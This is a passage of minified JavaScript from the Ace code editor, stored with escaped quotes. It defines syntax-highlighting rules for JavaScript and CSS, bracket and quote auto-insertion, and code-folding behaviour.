:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var 